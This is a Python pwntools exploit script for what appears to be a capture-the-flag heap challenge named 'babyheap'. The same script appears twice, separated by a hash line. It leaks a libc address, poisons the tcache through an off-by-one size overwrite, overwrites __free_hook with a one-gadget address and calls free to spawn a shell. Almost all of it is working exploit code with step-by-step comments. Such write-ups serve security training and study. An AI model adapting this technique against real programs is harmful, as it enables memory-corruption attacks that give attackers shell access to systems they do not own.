from pwn import *

def Malloc(size, data):
    p.sendlineafter("> ", "M")
    p.sendlineafter("> ", str(size))
    p.sendlineafter("> ", data)

def Free(index):
    p.sendlineafter("> ", "F")
    p.sendlineafter("> ", str(index))

def Show(index):
    p.sendlineafter("> ", "S")
    p.sendlineafter("> ", str(index))

context.binary = './babyheap'
context.log_level = 'debug'

p = process('./babyheap', env = { 'LD_PRELOAD' : './libc.so' })

libc = ELF('./libc.so')

#leak libc through  > 7 fastbins

for i in range(9): #8+1, in order to prevent top chunk consolidation
    Malloc(0x178, "")
for i in range(8):
    Free(i) # last freed to unsorted bin

Malloc(0xf8, "")  #[0] Request is served by unsorted bin
Show(0) #show bk pointer of unsorted bin

pause()

libc_leak = u64(p.recvline()[:-1].ljust(8, "\0"))
libc.address = libc_leak - 0x1e4e10 
oneGadget = libc.address + 0xe2383

print "Libc base: %s" % hex(libc.address)
print "Libc __Free_hook: %s" % hex(libc.symbols['__free_hook'])
print "oneGadget: %s" % hex(oneGadget)

# Clean up mess
Malloc(0xf8, "")  #[1] Clear out the unsortedbin
Malloc(0x178, "") #[2] Make room in tcachebin
Malloc(0x178, "") #[3] Make room in tcachebin

# Tcache poisoning
Malloc(0xf8, "A") #[4]
Malloc(0xf8, "B") #[5]
Malloc(0xf8, "C") #[6]
Free(6)
Free(4)
Malloc(0xf8, "A"*0xf8 + "\x81") #[4] Overwrite [5] size #off by one 
Free(5) #goes to bigger bin list despite size is < 0x100

#[5] Overwrite [6] fd pointer
Malloc(0x178, "B"*0x100 + p64(libc.symbols['__free_hook'])[0:6])

# Overwrite
Malloc(0xf8, "") # Junk malloc
Malloc(0xf8, p64(oneGadget)[0:6]) # Write oneGadget to __Free_hook

# Pop shell by Freeing, effectively calling oneGadget
Free(0)
p.interactive()


adeaeb63bb4d00cf09cf09218d4f44c074ce966b
from pwn import *

def Malloc(size, data):
    p.sendlineafter("> ", "M")
    p.sendlineafter("> ", str(size))
    p.sendlineafter("> ", data)

def Free(index):
    p.sendlineafter("> ", "F")
    p.sendlineafter("> ", str(index))

def Show(index):
    p.sendlineafter("> ", "S")
    p.sendlineafter("> ", str(index))

context.binary = './babyheap'
context.log_level = 'debug'

p = process('./babyheap', env = { 'LD_PRELOAD' : './libc.so' })

libc = ELF('./libc.so')

#leak libc through  > 7 fastbins

for i in range(9): #8+1, in order to prevent top chunk consolidation
    Malloc(0x178, "")
for i in range(8):
    Free(i) # last freed to unsorted bin

Malloc(0xf8, "")  #[0] Request is served by unsorted bin
Show(0) #show bk pointer of unsorted bin

pause()

libc_leak = u64(p.recvline()[:-1].ljust(8, "\0"))
libc.address = libc_leak - 0x1e4e10 
oneGadget = libc.address + 0xe2383

print "Libc base: %s" % hex(libc.address)
print "Libc __Free_hook: %s" % hex(libc.symbols['__free_hook'])
print "oneGadget: %s" % hex(oneGadget)

# Clean up mess
Malloc(0xf8, "")  #[1] Clear out the unsortedbin
Malloc(0x178, "") #[2] Make room in tcachebin
Malloc(0x178, "") #[3] Make room in tcachebin

# Tcache poisoning
Malloc(0xf8, "A") #[4]
Malloc(0xf8, "B") #[5]
Malloc(0xf8, "C") #[6]
Free(6)
Free(4)
Malloc(0xf8, "A"*0xf8 + "\x81") #[4] Overwrite [5] size #off by one 
Free(5) #goes to bigger bin list despite size is < 0x100

#[5] Overwrite [6] fd pointer
Malloc(0x178, "B"*0x100 + p64(libc.symbols['__free_hook'])[0:6])

# Overwrite
Malloc(0xf8, "") # Junk malloc
Malloc(0xf8, p64(oneGadget)[0:6]) # Write oneGadget to __Free_hook

# Pop shell by Freeing, effectively calling oneGadget
Free(0)
p.interactive()

